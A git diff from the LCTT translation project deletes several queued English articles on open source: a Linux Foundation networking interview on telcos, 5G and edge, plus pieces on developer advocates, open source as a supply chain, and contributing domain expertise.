https://www.networkworld.com/author/Michael-Cooney/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/article/3323407/sd-wan/how-to-buy-sd-wan-technology-key-questions-to-consider-when-selecting-a-supplier.html -[2]: https://www.networkworld.com/article/3250664/lan-wan/sd-branch-what-it-is-and-why-youll-need-it.html -[3]: https://www.networkworld.com/article/3285728/sd-wan/what-are-the-options-for-securing-sd-wan.html -[4]: https://www.networkworld.com/article/3529369/vmware-amps-up-its-cloud-and-data-center-security.html -[5]: https://www.networkworld.com/article/3445383/vmware-builds-security-unit-around-carbon-black-tech.html -[6]: https://www.networkworld.com/article/3575837/streaming-telemetry-gains-interest-as-snmp-reliance-fades.html -[7]: https://www.networkworld.com/article/3583939/vmware-amps-up-security-for-network-sase-sd-wan-products.html -[8]: https://www.csoonline.com/article/3561291/what-is-xdr-10-things-you-should-know-about-this-security-buzz-term.html -[9]: https://www.facebook.com/NetworkWorld/ -[10]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20201007 Telcos Move from Black boxes to Open Source.md b/sources/talk/20201007 Telcos Move from Black boxes to Open Source.md deleted file mode 100644 index d517aa4842..0000000000 --- a/sources/talk/20201007 Telcos Move from Black boxes to Open Source.md +++ /dev/null @@ -1,92 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Telcos Move from Black boxes to Open Source) -[#]: via: (https://www.linux.com/interviews/telcos-move-from-black-boxes-to-open-source/) -[#]: author: (Swapnil Bhartiya https://www.linux.com/author/swapnil/) - -Telcos Move from Black boxes to Open Source -====== - -*Linux Foundation Networking (LFN) organized its first virtual event last week and we sat down with Arpit Joshipura, the General Manager of Networking, IoT and Edge at the Linux Foundation, to talk about the key points of the event and how LFN is leading the adoption of open source within the telco space. * - -**Swapnil Bhartiya: Today, we have with us Arpit Joshipura, General Manager of Networking, IoT and Edge, at the Linux Foundation. Arpit, what were some of the highlights of this event? Some big announcements that you can talk about?** - -**Arpit Joshipura:** This was a global event with more than 80 sessions and was attended by attendees from over 75 countries. The sessions were very diverse. A lot of the sessions were end-user driven, operator driven as well as from our vendors and partners. If you take LF Networking and LFH as two umbrellas that are leading the Networking and Edge implementations here, we had a very significant announcement. I would probably group them into 5 main things: - -Number one, we released a white paper at the Linux Foundation level where we had a bunch of vertical industries transformed using open source. These are over 100-year-old industries like telecom, automotive, finance, energy, healthcare, etc. So, that’s kind of one big announcement where vertical industries have taken advantage of open source. - -The second announcement was easy enough: Google Cloud joins Linux Foundation Networking as a partner. That announcement comes on the basis of the telecom market and the cloud market converging together and building on each other. - -The third major announcement was a project under LF Networking. If you remember, two years ago, a project collaboration with GSMA was started. It was called CNTT, which really defined and narrowed the scope of interoperability and compliance. And we have OPNFV under LFN. What we announced at Open Networking and Edge summit is the two projects are going to come together. This would be fantastic to a global community of operators who are simplifying the deployment and interoperability of implementation of NFVI manual VNFs and CNFs. - -The next announcement was around a research study that we released on open source code that was created by Linux Foundation Networking, using LFN analytics and COCOMO estimation. We’re talking $7.2 billion worth of IP investment, right? This is the power of shared technology. - -And finally, we released a survey on the Edge community asking them, “Why are you contributing to open source?” And the answer was fascinating. It was all-around innovation, speed to deployment, market creation. Yes, cost was important, but not initially. - -So those were the 5 big highlights of the show from an LFN and LFH perspective. - -**Swapnil Bhartiya: There are two things that I’m interested in. One is the consolidation that you talk about, and the second is survey. The fact is that everybody is using open source. There is no doubt about it. But the problem that is happening is since everybody’s using it, there seems to be some gap between the awareness of how to be a good open source citizen as well. What have you seen in the telco space?** - -**Arpit Joshipura:** First of all, 5 years ago, they were all using black box and proprietary technologies. Then, we launched a project called OpenDaylight. And of course, OpenDaylight announced its 13th release today, but that’s kind of on their 6-year anniversary from being proprietary to today in one of the more active projects called ONAP. The telcos are 4 of the Top 10 contributors of source code and open source, right? Who would have imagined that an AT&T, Verizon, Amdocs, DT, Vodafone, and a China mobile and a China telecom, you name it are all actively contributing code? So that’s a paradigm shift in terms of not only consuming it, but also contributing towards it. - -**Swapnil Bhartiya: And since you mentioned ONAP, if I’m not wrong, I think AT&T released its own work as E-com. And then the projects within the Foundation were merged to create ONAP. And then you mentioned actually NTD. So, what I want to understand from you is how many projects are there that you see within the Foundation? The problem is that Linux Foundation and all those other foundations are open servers. It’s a very good place for those products to come in. It’s obvious that there will be some projects that will overlap. So what is the situation right now? Where do you see some overlap happening and, at the same time, are there still gaps that you need to fill?** - -**Arpit Joshipura:** So that’s a question of the philosophies of a foundation, right? I’ll start off with the most loose situation, which is GitHub. Millions and millions of projects on GitHub. Any PhD student can throw his code on GitHub and say that’s open source and at the end of the day, if there’s no community around it, that project is dead. Okay. That’s the most extreme scenario. Then, there are foundations like CNCF who have a process of accepting projects that could have competing solutions. May the best project win. - -From an LF Networking and LFH perspective, the process is a little bit more restrictive: there is a formal project life cycle document and a process available on the Wiki that looks at the complementary nature of the project, that looks at the ecosystem, that looks at how it will enable and foster innovation. Then based on that, the governing board and the neutral governance that we have set up under the Linux Foundation, they would approve it. - -Overall, it depends on the philosophy for LFN and LFH. We have 8 projects each in the umbrella, and most of these projects are quite complementary when it comes to solving different use cases in different parts of the network. - -**Swapnil Bhartiya: Awesome. Now, I want to talk about 5G a bit. I did not hear any announcements, but can you talk a bit about what is the word going on to help the further deployment of 5G technologies?** - -**Arpit Joshipura:** Yeah. I’m happy and sad to say that 5G is old news, right? The reality is all of the infrastructure work on 5G already was released earlier this year. So ONAP Frankfurt release, for example, has a blueprint on 5G slicing, right? All the work has been done, lots of blueprint and Akraino using 5G and mech. So, that work is done. The cities are getting lit up by the carriers. You see announcements from global carriers on 5G deployments. I think there are 2 missing pieces of work remaining for 5G. - -One is obviously the O-RAN support, right? The O-RAN software community, which we host at the Linux Foundation also is coming up with a second release. And, all the support for 5G is in there. - -The second part of 5G is really the compliance and verification testing. A lot of work is going into CMTT and OPN and feed. Remember that merge project we talked about where 5G is in context of not just OpenStack, but also Kubernetes? So the cloud-native aspects of 5G are all being worked on this year. I think we’ll see a lot more cloud-native 5G deployments next year primarily because projects like ONAP or cloud native integrate with projects like ONAP and Anthos or Azure stack and things like that. - -**Swapnil Bhartiya: What are some of the biggest challenges that the telco industry is facing? I mean, technically, no externalization and all those things were there, but foundations have solved the problem. Some rough ideas are still there that you’re trying to resolve for them.** - -**Arpit Joshipura:** Yeah. I think the recent pandemic caused a significant change in the telcos’ thinking, right? Fortunately, because they had already started on a virtualization and open-source route, you heard from Android, and you heard from Deutsche Telekom, and you heard from Achronix, all of the operators were able to handle the change in the network traffic, change in the network, traffic direction, SLS workloads, etc., right? All because of the _softwarization_ as we call it on the network. - -Given the pandemic, I think the first challenge for them was, can the network hold up? And the answer is, yes. Right? All the work-from-home and all these video recordings, we have to hang out with the web, that was number one. - -Number two is it’s good to hold up the network, but did I end up spending millions and millions of dollars for operational expenditures? And the answer to that is no, especially for the telcos who have embraced an open-source ecosystem, right? So people who have deployed projects like SDN or ONAP or automation and orchestration or closed-loop controls, they automatically configure and reconfigure based on workloads and services and traffic, right? And that does not require manual labor, right? Tremendous amounts of costs were saved from an opex perspective, right? - -For operators who are still in the old mindset have significantly increased their opex, and what that has caused is a real strain on their budget sheets. - -So those were the 2 big things that we felt were challenges, but have been solved. Going forward, now it’s just a quick rollout/build-out of 5G, expanding 5G to Edge, and then partnering with the public cloud providers, at least, here in the US to bring the cloud-native solutions to market. - -**Swapnil Bhartiya: Awesome. Now, Arpit, if I’m not wrong, LF Edge is I think, going to celebrate its second anniversary in January. What do you feel the product has achieved so far? What are its accomplishments? And what are some challenges that the project still has to tackle?** - -**Arpit Joshipura:** Let me start off with the most important accomplishment as a community and that is terminology. We have a project called State of the Edge and we just issued a white paper, which outlines terminology, terms and definitions of what Edge is because, historically, people use terms like thin edge, thick edge, cloud edge, far edge, near edge and blah, blah, blah. They’re all relative terms. Okay. It’s an edge in relation to who I am. - -Instead of that, the paper now defines absolute terms. If I give you a quick example, there are really 2 kinds of edges. There’s a device edge, and then there is a service provider edge. A device edge is really controlled by the operator, by the end user, I should say. Service provider edge is really shared as a service and the last mile typically separates them. - -Now, if you double click on each of these categories, then you have several incarnations of an edge. You can have an extremely constrained edge, microcontrollers, etc., mostly manufacturing, IIoT type. You could have a smart device edge like gateways, etc. Or you could have an on-prem silver type device edge. Either way, an end user controls that edge versus the other edge. Whether it’s on the radio-based stations or in a smart central office, the operator controls it. So that’s kind of the first accomplishment, right? Standardizing on terminology. - -The second big Edge accomplishment is around 2 projects: Akraino and EdgeX Foundry. These are stage 3 mature projects. They have come out with significant [results]. Akraino, for example, has come out with 20 plus blueprints. These are blueprints that actually can be deployed today, right? Just to refresh, a blueprint is a declarative configuration that has everything from end to end to solve a particular use case. So things like connected classrooms, AR/VR, connected cars, right? Network cloud, smart factories, smart cities, etc. So all these are available today. - -EdgeX is the IoT framework for an industrial setup, and that’s kind of the most downloaded. Those 2 projects, along with Fledge, EVE, Baetyl, Home Edge, Open Horizon, security advanced onboarding, NSoT, right? Very, very strong growth over 200% growth in terms of contributions. Huge growth in membership, huge growth in new projects and the community overall. We’re seeing that Edge is really picking up great. Remember, I told you Edge is 4 times the size of the cloud. So, everybody is in it. - -**Swapnil Bhartiya: Now, the second part of the question was also some of the challenges that are still there. You talked about accomplishment. What are the problems that you see that you still think that the project has to solve for the industry and the community?** - -**Arpit Joshipura:** The fundamental challenge that remains is we’re still working as a community in different markets. I think the vendor ecosystem is trying to figure out who is the customer and who is the provider, right? Think of it this way: a carrier, for example, AT&T, could be a provider to a manufacturing factory, who actually could consume something from a provider, and then ship it to an end user. So, there’s like a value shift, if you may, in the business world, on who gets the cut, if you may. That’s still a challenge. People are trying to figure out, I think people who are going to be quick to define, solve and implement solutions using open technology will probably turn out to be winners. - -People who will just do analysis per analysis will be left behind like any other industry. I think that is kind of fundamentally number one. And number two, I think the speed at which we want to solve things. The pandemic has just accelerated the need for Edge and 5G. I think people are just eager to get gaming with low latency, get manufacturing, predictive maintenance with low latency, home surveillance with low latency, connected cars, autonomous driving, all the classroom use cases. They should have been done next year, but because of the pandemic, it just got accelerated. --------------------------------------------------------------------------------- - -via: https://www.linux.com/interviews/telcos-move-from-black-boxes-to-open-source/ - -作者:[Swapnil Bhartiya][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linux.com/author/swapnil/ -[b]: https://github.com/lujun9972 diff --git a/sources/talk/20201010 5 qualities of great open source developer advocates.md b/sources/talk/20201010 5 qualities of great open source developer advocates.md deleted file mode 100644 index e8c7e8d9f5..0000000000 --- a/sources/talk/20201010 5 qualities of great open source developer advocates.md +++ /dev/null @@ -1,91 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (5 qualities of great open source developer advocates) -[#]: via: (https://opensource.com/article/20/10/open-source-developer-advocates) -[#]: author: (Jason Blais https://opensource.com/users/jasonblais) - -5 qualities of great open source developer advocates -====== -Whether you're looking to hire a developer advocate or become one, here -are the qualities to aim for. -![Women talking][1] - -The developer relations job category is less than 10 years old, and [the developer advocate role is even newer][2]. In essence, developer advocates represent the voice of the user—in this case, that's usually the developer—internally to the company and the voice of the company externally to the community. - -[Mattermost][3] depends on its developer advocates to be the bridge between the community and the organization. At Mattermost, a developer advocate's three primary areas of responsibility are: - - * Raising awareness among developers about the open source project, including educating users and helping them get the most out of the platform - * Building strong relationships with users across open source and developer communities - * Advocating for users internally with the product team by sharing the community's feedback and challenges - - - -Not everyone is cut out to succeed as an open source developer advocate. With that in mind, here are the top five qualities we've identified in outstanding developer advocates. - -### 1\. A genuine passion for helping others - -Developer advocates often start as developers or in other highly technical roles. They excel at their job but get less pleasure from creating solutions than they do by helping others do the same. - -Over time, they turn this enthusiasm into enabling and empowering other developers to be successful. They naturally evolve into developer advocates by educating and helping users get the most out of the platforms they're working with. - -Passion is one of the most important qualities of a developer advocate. To advocate for the user both internally and externally, they must put the user and the community first. This does not happen without genuine motivation to help others succeed. - -### 2\. An authentic communication style - -An outstanding developer advocate has a passion for writing and talking about technology—whether they're solving technical challenges, providing knowledge about specific frameworks (e.g., Kubernetes), or sharing solutions built on top of a platform. - -But when they share their knowledge, they must be careful not to be perceived as promoting a specific platform or product. If any group is turned off by inauthentic marketing, [it is developers][4]. Developer relations is [not the same as developer marketing][5]. That is why authenticity is critical when connecting with developer communities—particularly in open source. - -Combining these creates an authentic communicator who captures developers' attention and pulls people in. That engagement enables them to raise awareness, educate to help users get the most out of the platform, and build strong relationships with users—the three main areas that developer advocates own. - -### 3\. A natural flair for building relationships - -Developer advocates are typically extroverts. Through their authenticity and passion for helping others, they can build strong relationships with users and members of the community. - -The truly outstanding advocates have a natural flair for creating connections through their superb networking skills. They also know where the communities exist, whether it's Reddit, Twitter, meetup groups, forums, or chat channels. - -Why is having a natural flair for creating relationships so important? - -First, developer advocates bring their existing connections to developers and open source communities when they join a team. Second, they come in knowing the right social media and developer channels to reach developers and open source users. Finally, they create new relationships with community influencers and open source leaders that can give your platform an opportunity to grow rapidly. - -### 4\. A personal investment in the community - -As I mentioned, developer advocates are not only the advocates of users internally; they are also the voice of the company externally to the community. This allows them to develop their own personal brand and "street cred" that they will carry with them after they move on to another company or community. - -When a developer advocate cares about their personal brand and has a personal investment in what they do, they are typically more motivated. Not only are they responsible for cultivating the company's brand, but they are also putting their own reputation on the line. This can be frightening to some. But those who are brave and willing to personally commit have the edge needed to excel as a developer advocate. - -As a side note, developer advocates who are employed by the company they're advocating for should work as part of the community and put the community ahead of themselves. They must be willing to continuously learn from and with the community, be a team player, and never put their own brand ahead of the company or community. - -### 5\. Technical sharpness - -The final key attribute of great developer advocates is their technical sharpness. Are they knowledgeable about cutting-edge technologies, languages, and frameworks? Do they learn technologies and tools easily? Are they self-taught, self-resourced learners? - -Since other developers will look to them for guidance, it is important for developer advocates to be highly technical with several years of relevant experience in software development or DevOps. Without already being a developer (or otherwise highly technical), it would be difficult to really understand the developer mindset and know what tickles their curiosity. - -### Other characteristics - -These five qualities—a genuine passion for helping others, authentic communication capabilities, a natural flair for building relationships, a personal investment, and technical sharpness—are Mattermost's core characteristics in outstanding open source developer advocates. Are there any other must-have qualities I've missed? Let me know in the comments! - -_Thank you to Justin Reynolds for the valuable edits on this article._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/10/open-source-developer-advocates - -作者:[Jason Blais][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jasonblais -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/conversation-interview-mentor.png?itok=HjoOPcrB (Women talking) -[2]: https://medium.com/@ashleymcnamara/what-is-developer-advocacy-3a92442b627c -[3]: http://mattermost.com/ -[4]: https://hackernoon.com/developer-marketing-allergies-authenticity-622014fdebfb -[5]: https://medium.com/@aspleenic/developer-relations-and-developer-marketing-they-arent-the-same-thing-35b896159825 diff --git a/sources/talk/20201016 Is open source a development model, business model, or something else.md b/sources/talk/20201016 Is open source a development model, business model, or something else.md deleted file mode 100644 index 26e8cd7e02..0000000000 --- a/sources/talk/20201016 Is open source a development model, business model, or something else.md +++ /dev/null @@ -1,130 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Is open source a development model, business model, or something else?) -[#]: via: (https://opensource.com/article/20/10/open-source-supply-chain) -[#]: author: (Scott McCarty https://opensource.com/users/fatherlinux) - -Is open source a development model, business model, or something else? -====== -Instead of asking whether open source is a development model or a -business model, start thinking about it as a supply chain for your -products. -![Net catching 1s and 0s or data in the clouds][1] - -The term "open source" was coined in 1998 at a strategy session held by [Open Source Initiative][2] (OSI). The OSI maintains the [Open Source Definition][3] (OSD), which places mandates on the distribution terms of any software that claims to be open source. The OSI also maintains a curated list of official [open source licenses][4] that meet these guidelines. - -The OSD gives a clear definition of what open source software _is_, but doesn't provide much insight into how the adoption of open source affects a company's ability to build and deliver products or services that people want and need. Stated another way, there's still tremendous debate about the best ways to build a business based on open source. - -In this first of a multi-part series, I will lay the groundwork for understanding what products are, what product managers do, and how open source can be considered a supply chain. In future articles, I will go deeper into each of these topics, but I'll start by dissecting some common, but fundamentally confusing vocabulary. - -### Development model or business model? - -Open source adoption is common in products and solutions, but the verdict is out on what this truly means for product teams. Is open source a software development model or a business model? Even today, there are huge debates in open source circles. - -People who think of open source [as a development model][5] emphasize collaboration, the decentralized nature in which code is written, and the licenses under which that code is released. Those who think of open source [as a business model][6] discuss monetization through support, services, software-as-a-service, paid features, and even in the context of inexpensive marketing or advertising. While there are surely valid arguments on both sides, neither of these models has ever satisfied everyone. Perhaps it's because we've never fully considered open source in the historical context of software products and their practical construction. - -> Instead of thinking about open source as a development model or a business model, perhaps companies should think in terms of a supply chain from which they can purchase technology. - -A [supply chain][7] includes the organizations, people, activities, information, and resources needed to create any product or service. This includes products as simple as a wool coat or as complex as an open source software project with thousands of dependencies. In [_The Wealth of Nations_][8], the father of economics, [Adam Smith][9], describes the supply chain for a wool coat: - -> "The shepherd, the sorter of the wool, the wool-comber or carder, the dyer, the scribbler, the spinner, the weaver, the fuller, the dresser, with many others, must all join their different arts in order to complete even this homely production." - -![Wool coat supply chain][10] - -(Scott McCarty, [CC BY-SA 4.0][11]) - -Most of us probably haven't heard of the roles involved in the supply chain for a wool coat, but one thing is obvious: divisions of labor and collaboration are keys to a healthy supply chain, especially with open source. - -### Product or project? - -If you accept that open source is a supply chain for building solutions, this leads to another misunderstanding around projects and products. Paul Cormier, Red Hat's CEO, makes a pragmatic distinction between [open source _projects_ and open source _products_][12]. While I agree with Paul, I am obliged to confess that most of the world doesn't recognize this crisp distinction. In 20 years of conversations with customers, partners, users, contributors, analysts, journalists, and even my own family, most people use the words _project_ and _product_ interchangeably. - -I'll attempt to bring clarity by proposing a simple definition: Products are things that people buy with currency, while projects are things people participate in, contribute to, or use. That gets part of the way to a better definition, but to truly understand, you need to define what a product _is_ in order to clearly see what a project _isn't_. - -Software products, like any other products or services, have a whole host of activities required to bring them to market. They have business plans, pricing and packaging, positioning and messaging, distribution strategies, sales enablement, portfolio alignment, build/buy/partner decisions, and roadmaps. The teams managing these products conduct focus groups, analyze addressable markets, brief journalists and analysts about how their products fit into the marketplace, walk customers through roadmaps, and, most importantly, define those roadmaps based on the needs of paying customers. Product teams spend a lot of time and money understanding their customers' problems, but this is rarely the work output of community members. - -Product teams have a fundamental choice about which suppliers they use in their products. This could mean using two, three, four, or even 10 different upstream projects in a product. It could also mean switching upstream projects when they no longer meet the needs of the customers buying the product. Finally, it could also mean positioning a partner's solution or different parts of the product portfolio to fill in gaps (i.e., address customer needs with solutions). The product team can also decide to use open source as one part of the supply chain and proprietary software as another part, thereby differentiating the product from the project. They can even make their product available only as a service; this is the power of pricing and packaging. - -Nearly all products are built by adding a layer of differentiated value to a set of commodity components that are provided by suppliers. This is true, whether they're built on open source or proprietary components. Stated another way, upstream suppliers cannot provide the same solution as downstream products. When upstream projects and downstream products tackle the exact same business problem, there is low differentiation, which creates challenges. This is akin to upstream suppliers and the downstream product company both selling tires—the upstream supplier needs to sell tires, and the downstream product company needs to sell vehicles. - -> A lack of differentiation between the supply-chain components and the downstream product is where open source companies run into problems. - -Everyday, product teams have to make pricing, packaging, build, buy, partner, and roadmap decisions driven by paying customers. This is what provides differentiation to a product and makes it fundamentally different from a community-driven, open source project. - -### Buying from the open source supply chain - -Open source technology is free as in speech, not "free as in beer." Anyone can download and use open source software pretty much however they want, but as soon as you sell a product that uses open source, you have a responsibility to the customer. That responsibility includes things like verifying the software is always patched, secure, and runs well. A product team has a commitment to the customers and is responsible for every component chosen in the supply chain. - -![Stephen Walli tweet about open source business models][13] - -(Scott McCarty, [CC BY-SA 4.0][11]) - -Stated another way, building a product on open source software is not free. It costs [either time or money][14], and everyone knows time is money, so these are essentially the same thing. Therefore, it's genuinely correct to use the word "buy" to describe the relationship between product teams and the upstream open source projects that supply technology for those products. - -From the perspective of the product team, each upstream project can be thought of as a supplier. The product team can "buy" from the open source suppliers by contributing the time and energy of engineers, documentation writers, testers, etc. Since time is money, every hour spent on upstream work can be measured in dollars. - -This cost of consuming from the open source supply chain exists whether your organization is selling a _product_ based on open source or building a _solution_ for internal consumption. Building anything on open source comes with an implicit responsibility for the components selected and used. But, unlike a traditional supply chain, a dollar may not be a dollar (fill in your currency of choice). - -Every dollar invested in an open source supply chain purchase might return $2, $3, or even $10 of value in return. The return on investment can be higher because other people and companies are also contributing value, as well as a diversity of ideas. Everyone who consumes from an open source supply chain inherits the total value. If the community is healthy, the value received is far above and beyond the contributions made. - -There's another hidden benefit to purchasing from open source suppliers. Unlike traditional suppliers, community-driven, open source projects are not profit-driven entities with sales, marketing, and go-to-market costs. This is akin to buying from non-profit entities, but, once again, it's not "free as in beer." There's definitely a cost associated with purchasing from an open source supply chain and, in turn, providing a product to your customers. - -### A better metaphor for products - -Perhaps no one has ever taken a product-centric view of open source because it grew up alongside the internet and the dot-com boom. This was a time of throwing money at ideas without having much of a business plan. Attempts to apply traditional business understanding _post facto_ have led to debate over the definition of open source versus [open core][15], as well as the roles and responsibilities of product teams. The software industry, and open source, in particular, has been notoriously confused about aligning product management and upstream engineering. The blurry line between project and product has even led to misunderstandings about what features upstream projects should focus on versus the downstream products. - -Working as a member of the product team driving the roadmap for arguably the largest open source product in the world, Red Hat Enterprise Linux, I'd like to humbly propose a new paradigm within which to think about open source software: - -> **Open source is a supply chain model.** - -It's not a huge intellectual leap, but this has profound implications on discussions, debates, and cognitive load when thinking about products that leverage open source. - -### Capturing value with open source - -In recent years, arguments have been put forth asserting that there [can only ever be one Red Hat][16]; the narrative implies that only one company can grow into a multi-billion dollar business by selling support. This narrative is problematic because Red Hat doesn't make money from support, and it might even be argued that [Red Hat Network][17] was the first SaaS of open source. Second, other companies like SUSE, Cloudera, and Chef have captured quite a bit of value. Finally, many businesses start with a SaaS model and extend into adjacent on-premises businesses, like [CloudBees][18]. - -All of these companies have been able to successfully use open source as a supply chain to create value while simultaneously capturing value by satisfying complex business problems that are not solved by the upstream project alone. Fundamentally, SaaS and hardware/software combinations are no different, although it might be argued that they are easier to monetize. - -Fellow product managers, I urge you to start thinking about open source projects as a supply chain for your products. It will give you new clarity in making product-driven decisions and focusing on business needs instead of technology. With all supply chains, product managers have to treat their suppliers fairly. For example, downstream product teams can't tell upstream suppliers what to do. Downstream product teams also have to pay suppliers enough to keep them in business and continue to supply technology. These are just two examples of the clarity that comes from treating upstream, open source projects as suppliers, and it keeps the relationship much healthier. - -![Linux supply chain][19] - -(Scott McCarty, [CC BY-SA 4.0][11]) - -There's a saying in music: _It's not the notes you play, but the notes you don't play._ Constraints breed creativity. If you know you can't differentiate your product based on the code from your upstream suppliers, your product team has to get creative. You have to identify other value worth purchasing. I'll dig into this later in the series; in the next article, I'll add clarity to the scope of what an open source product is and how to create value with it. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/10/open-source-supply-chain - -作者:[Scott McCarty][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/fatherlinux -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/data_analytics_cloud.png?itok=eE4uIoaB (Net catching 1s and 0s or data in the clouds) -[2]: https://opensource.org/ -[3]: https://opensource.org/osd -[4]: https://opensource.org/licenses/alphabetical -[5]: https://en.wikipedia.org/wiki/Open-source_model -[6]: https://opensource.com/article/17/12/open-source-business-models -[7]: https://en.wikipedia.org/wiki/Supply_chain -[8]: https://en.wikipedia.org/wiki/The_Wealth_of_Nations -[9]: https://en.wikipedia.org/wiki/Adam_Smith -[10]: https://opensource.com/sites/default/files/uploads/wool_coat_supply_chain.png (Wool coat supply chain) -[11]: https://creativecommons.org/licenses/by-sa/4.0/ -[12]: https://siliconangle.com/2019/05/10/red-hat-talks-project-vs-product-in-enterprise-open-source-rhsummit/ -[13]: https://opensource.com/sites/default/files/uploads/tweet.png (Stephen Walli tweet about open source business models) -[14]: https://twitter.com/stephenrwalli/status/1147205594966663168 -[15]: https://medium.com/open-consensus/2-open-core-definition-examples-tradeoffs-e4d0c044da7c -[16]: https://techcrunch.com/2014/02/13/please-dont-tell-me-you-want-to-be-the-next-red-hat/ -[17]: https://en.wikipedia.org/wiki/Red_Hat_Network -[18]: https://www.cloudbees.com/blog/enhanced-pricing-and-packaging-cloudbees-platform -[19]: https://opensource.com/sites/default/files/uploads/linux_supply_chain.png (Linux supply chain) diff --git a/sources/talk/20201021 How anyone can contribute to open source software in their job.md b/sources/talk/20201021 How anyone can contribute to open source software in their job.md deleted file mode 100644 index 3ae4fbf8ca..0000000000 --- a/sources/talk/20201021 How anyone can contribute to open source software in their job.md +++ /dev/null @@ -1,77 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How anyone can contribute to open source software in their job) -[#]: via: (https://opensource.com/article/20/10/open-your-job) -[#]: author: (Catherine Robson https://opensource.com/users/crobson) - -How anyone can contribute to open source software in their job -====== -Open your job, and you'll open opportunities for software developers to -build applications that meet your needs. -![Active listening in a meeting is a skill][1] - -Imagine a world where your software works perfectly for you. It meets your needs, does things your way, and is the ideal tool to achieve great things toward your goals. - -Open source software stems from these roots. Many projects are built by engineers that have a problem and build a solution to solve it. Then they openly share their solution with others to use and improve. - -Unfortunately, building software is hard. Not everyone has the expertise to build software that works perfectly for their needs. And if the software developers building applications don't fully understand users' needs and how they do their job, the solutions they build may not meet the users' needs and may accidentally create a lot of gaps. - -I recently encountered an example of this at my dentist's office. As I was waiting in the chair, I couldn't help but notice how long the dental hygienist was taking to punch around in the software to get ready for the dentist's examination. So I asked her, "Do you feel like this software meets your needs?" She replied, "No! It's so complex, and what I actually need is never where I need it!" - -Part of the problem is that the people who built this software are probably not dentists, dental hygienists, or have any experience with a dentist other than as a patient in the chair. Many software companies have roles to help fill those gaps—product managers, product and market analysts, researchers, and others are meant to help gather requirements that tell development teams what to build. - -But we all know about learning a new domain. There's learning it from the outside, casually understanding it; then there's learning it from the inside, living it day-to-day, and really knowing it as an expert. The closer the development team can get to the real, "living it" experience, the better decisions they will make when they build software for specific users and domains. - -Open source has an ethos of sharing the work being done. Now I think it is time to evolve open source to the next level: sharing work that _needs to be_ done. Domain experts (i.e., the eventual users) need to share information about what they need to do their job so that open source developers can build software to meet their needs. - -This might sound overwhelming if you're not a software developer. Contributing to open source means that you need to write code, understand [Git][2], or cross other technical hurdles, right? Not necessarily; contributing your domain expertise is an important part of open source development. - -And you can use the tools you already have. You're already on social media. You probably have access to a word processor of some kind. And you have a work environment that can be shared openly (even in COVID times, thanks to technology). - -### Three steps to opening your job - -The following steps can help you open your job so software developers can learn your domain, understand your job and pain points, and build software that works better for you. - -#### 1\. Invite software builders into your work environment - -An ethnographic study is where parts of the software team shadow you in your job. You'll be asked to do everything you normally do on a workday, just as you always do it. Like a "fly on the wall," the software team is there to observe and understand how you do what you do. They might debrief with you throughout the day to get more insights into why you did certain things. Overall, this is meant to be non-invasive for you but very informative for the team. - -#### 2\. Share writeups about your job with software builders - -Far too often in the software industry, we focus on the software, not its use. As an example, a software requirement may come in as: "Show the history of dental work done to a tooth." This assumes that the software is required to do this job and that this history is useful no matter where it's shown in the software. - -Instead, developers need to back up and make sure they understand the job functions thoroughly. For example, a requirement could say: "A patient has a tooth with a cavity that was found during routine cleaning. While the patient is still there, the dentist needs to know what else has been done to the tooth to be able to prescribe a solution to the patient." By knowing the job that needs to be done, the software developer can build software that enables easy selection of the tooth in question, mid-exam, with gloves on. Therefore, this information should be available while in the "routine cleaning" view. - -Writing up your intent and context while you're using the software, rather than the tasks you do, can help software developers build to meet your true needs. - -If you want to go deeper, look at the [Jobs To Be Done][3] (JTBD) framework as a way to convey your expertise to software teams. - -#### 3\. Use social media to share videos, explanations, and more about your job - -Use the social media platform of your choice (e.g., YouTube, Reddit, etc.) to share information about your job. Recording and sharing a "day in the life" video openly could greatly help development teams really understand what you do and how you do it so that they can create software that serves your needs. - -### Open opportunities - -Open your job, and you'll open opportunities for software developers to build better software! Let's bring open source to the next level together by sharing more about what you need. - -You don't need to be a master coder to contribute to open source. Jade Wang shares 8 ways you can... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/10/open-your-job - -作者:[Catherine Robson][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/crobson -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/team-discussion-mac-laptop-stickers.png?itok=AThobsFH (Active listening in a meeting is a skill) -[2]: https://opensource.com/resources/what-is-git -[3]: 